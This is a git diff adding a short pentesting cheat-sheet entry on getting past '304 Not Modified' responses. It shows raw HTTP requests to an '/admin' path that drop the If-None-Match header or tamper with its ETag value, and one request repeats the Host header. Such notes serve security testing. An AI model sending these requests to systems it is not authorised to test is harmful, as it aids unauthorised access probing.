diff --git a/Bypass/Bypass 304.md b/Bypass/Bypass 304.md new file mode 100644 index 0000000..c28ef0b --- /dev/null +++ b/Bypass/Bypass 304.md @@ -0,0 +1,29 @@ +# 304 Not Modified Bypass + +1. Delete "If-None-Match" header +``` +GET /admin HTTP/1.1 +Host: target.com +If-None-Match: W/"32-IuK7rSIJ92ka0c92kld" +``` +Try this to bypass +``` +GET /admin HTTP/1.1 +Host: target.com +``` + +2. Adding random character in the end of "If-None-Match" header +``` +GET /admin HTTP/1.1 +Host: target.com +If-None-Match: W/"32-IuK7rSIJ92ka0c92kld" +``` +Try this to bypass +``` +GET /admin HTTP/1.1 +Host: target.com +Host: target.com +If-None-Match: W/"32-IuK7rSIJ92ka0c92kld" b +``` + +Source: [https://anggigunawan17.medium.com/tips-bypass-etag-if-none-match-e1f0e650a521](https://anggigunawan17.medium.com/tips-bypass-etag-if-none-match-e1f0e650a521)